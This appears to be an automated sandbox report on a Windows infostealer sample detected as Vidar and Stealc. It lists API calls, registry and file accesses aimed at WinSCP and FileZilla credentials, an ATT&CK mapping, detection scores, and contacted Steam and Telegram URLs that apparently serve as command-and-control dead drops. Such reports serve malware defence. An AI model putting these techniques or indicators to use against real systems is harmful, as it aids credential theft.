Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	0_2_0100AF34
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,malloc,GetLocaleInfoW,WideCharToMultiByte,__freea,	0_2_01006F3C
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: EnumSystemLocalesA,	0_2_0100AFF6
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__invoke_watson,GetLocaleInfoW,GetLocaleInfoW,__calloc_crt,GetLocaleInfoW,_free,GetLocaleInfoW,	0_2_01004E83

Source: C:\Users\user\Desktop\njrtdhadawt.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\njrtdhadawt.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\njrtdhadawt.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\njrtdhadawt.exe

Code function: 0_2_00FFBA48 lstrcpyA,SetFilePointer,SetFilePointer,GetLocalTime,SystemTimeToFileTime,

0_2_00FFBA48

Source: C:\Users\user\Desktop\njrtdhadawt.exe

Code function: 0_2_00FF0E76 GetProcessHeap,HeapAlloc,GetUserNameA,

0_2_00FF0E76

Source: C:\Users\user\Desktop\njrtdhadawt.exe

Code function: 0_2_00FF0F51 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

0_2_00FF0F51

Source: C:\Users\user\Desktop\njrtdhadawt.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.000000000394E000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\njrtdhadawt.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: njrtdhadawt.exe, type: SAMPLE
Source: Yara match	File source: 0.2.njrtdhadawt.exe.fe0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.njrtdhadawt.exe.fe0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1254479624.000000000100F000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: njrtdhadawt.exe PID: 6420, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match	File source: njrtdhadawt.exe, type: SAMPLE
Source: Yara match	File source: 0.2.njrtdhadawt.exe.fe0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.njrtdhadawt.exe.fe0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1254479624.000000000100F000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: njrtdhadawt.exe PID: 6420, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\njrtdhadawt.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\njrtdhadawt.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: njrtdhadawt.exe, type: SAMPLE
Source: Yara match	File source: 0.2.njrtdhadawt.exe.fe0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.njrtdhadawt.exe.fe0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1254479624.000000000100F000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: njrtdhadawt.exe PID: 6420, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match	File source: njrtdhadawt.exe, type: SAMPLE
Source: Yara match	File source: 0.2.njrtdhadawt.exe.fe0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.njrtdhadawt.exe.fe0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1254479624.000000000100F000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: njrtdhadawt.exe PID: 6420, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Create Account	211 Process Injection	3 Obfuscated Files or Information	1 Credentials in Registry	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 DLL Side-Loading	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 File Deletion	NTDS	55 System Information Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	251 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	211 Process Injection	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
njrtdhadawt.exe	71%	ReversingLabs	Win32.Trojan.Vidar
njrtdhadawt.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\ProgramData\chrome.dll	75%	ReversingLabs	Win32.Trojan.Seheq

Source	Detection	Scanner	Label	Link
https://community.cloudflare.steamstat	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
steamcommunity.com	104.102.49.254	true	false		high
t.me	149.154.167.99	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://steamcommunity.com/profiles/76561199794498376	false		high
https://t.me/asg7rd	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://community.cloudflare.steamstatic.com/public/css/globalv2.css?v=i_iuPUaT8LXN&l=english&am	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://player.vimeo.com	njrtdhadawt.exe, 00000000.00000002.1551342830.0000000003998000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039DB000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039C4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/javascript/profile.js?v=47omfdMZRDiz&l=engli	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://community.cloudflare.steamstatic.com/public/javascript/webui/clientcom.js?v=ImL_uti9QFBw&amp	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://steamcommunity.com/?subsection=broadcasts	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://steamcommunity.com/login/home/?goto=profiles%2F76561199794498376	76561199794498376[1].htm.0.dr	false		high
https://store.steampowered.com/subscriber_agreement/	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://www.gstatic.cn/recaptcha/	njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039DB000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039C4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://telegram.org/img/t_logo_2x.png	njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.valvesoftware.com/legal.htm	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://community.cloudflare.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&a	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://www.youtube.com	njrtdhadawt.exe, 00000000.00000002.1551342830.0000000003998000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039DB000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039C4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com	njrtdhadawt.exe, 00000000.00000002.1551342830.0000000003998000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039DB000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039C4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://community.cloudflare.steamstatic.com/public/javascript/reportedcontent.js	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=G3UTKgHH4xLD&l=engl	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://community.cloudflare.steamstatic.com/public/shared/javascript/toolti	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp	false		high
https://s.ytimg.com;	njrtdhadawt.exe, 00000000.00000002.1551342830.0000000003998000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039DB000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039C4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcD	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://steam.tv/	njrtdhadawt.exe, 00000000.00000002.1551342830.0000000003998000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039DB000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039C4000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp	false		high
http://store.steampowered.com/privacy_agreement/	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039DB000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://store.steampowered.com/points/shop/	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://steamcommunity.com/profiles/76561199794498376/badges	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://sketchfab.com	njrtdhadawt.exe, 00000000.00000002.1551342830.0000000003998000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039DB000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039C4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lv.queniujq.cn	njrtdhadawt.exe, 00000000.00000002.1551342830.0000000003998000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039DB000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039C4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com/	njrtdhadawt.exe, 00000000.00000002.1551342830.0000000003998000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039DB000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039C4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/privacy_agreement/	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://community.cloudflare.steamstatic.com/public/css/skin_1/header.css?v=EZbG2DEumYDH&l=engli	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/	njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039DB000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039C4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstat	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=engli	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://steamcommunity.com/Y	njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039DB000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t.me/zj	njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://www.google.com/recaptcha/	njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039C4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://checkout.steampowered.com/	njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039C4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/css/applications/community/main.css?v=LjouqOsWbS	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/libraries~b28b	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://community.cloudflare.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&amp	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://store.steampowered.com/;	njrtdhadawt.exe, 00000000.00000002.1551342830.0000000003998000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039DB000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039C4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/about/	76561199794498376[1].htm.0.dr	false		high
https://community.cloudflare.steamstatic.com/	njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039C4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/my/wishlist/	njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=nc69vwog8R9p&l=	76561199794498376[1].htm.0.dr	false		high
https://web.telegram.org	njrtdhadawt.exe, 00000000.00000003.1510994054.00000000039DB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/css/promo/summer2017/stickers.css?v=INiZALwvDIbb	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://help.steampowered.com/en/	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://steamcommunity.com/market/	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://store.steampowered.com/news/	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://docs.rs/getrandom#nodejs-es-module-support	njrtdhadawt.exe, chrome.dll.0.dr	false		high
https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=3W_ge11SZngF&l=englis	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=bpFp7zU77IKn&	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://steamcommunity.com/profiles/76561199794498376)	njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039DB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://store.steampowered.com/subscriber_agreement/	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039DB000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/manifest.js?v=	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://recaptcha.net/recaptcha/;	njrtdhadawt.exe, 00000000.00000002.1551342830.0000000003998000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039DB000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039C4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/discussions/	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://store.steampowered.com/stats/	njrtdhadawt.exe, 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmp, njrtdhadawt.exe, 00000000.00000003.1539350071.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000002.1551342830.00000000039B3000.00000004.00000020.00020000.00000000.sdmp, 76561199794498376[1].htm.0.dr	false		high
https://t.me/asg7rdU_	njrtdhadawt.exe, 00000000.00000002.1551342830.0000000003998000.00000004.00000020.00020000.00000000.sdmp	false		high
https://medal.tv	njrtdhadawt.exe, 00000000.00000002.1551342830.0000000003998000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039DB000.00000004.00000020.00020000.00000000.sdmp, njrtdhadawt.exe, 00000000.00000003.1539387427.00000000039C4000.00000004.00000020.00020000.00000000.sdmp	false		high
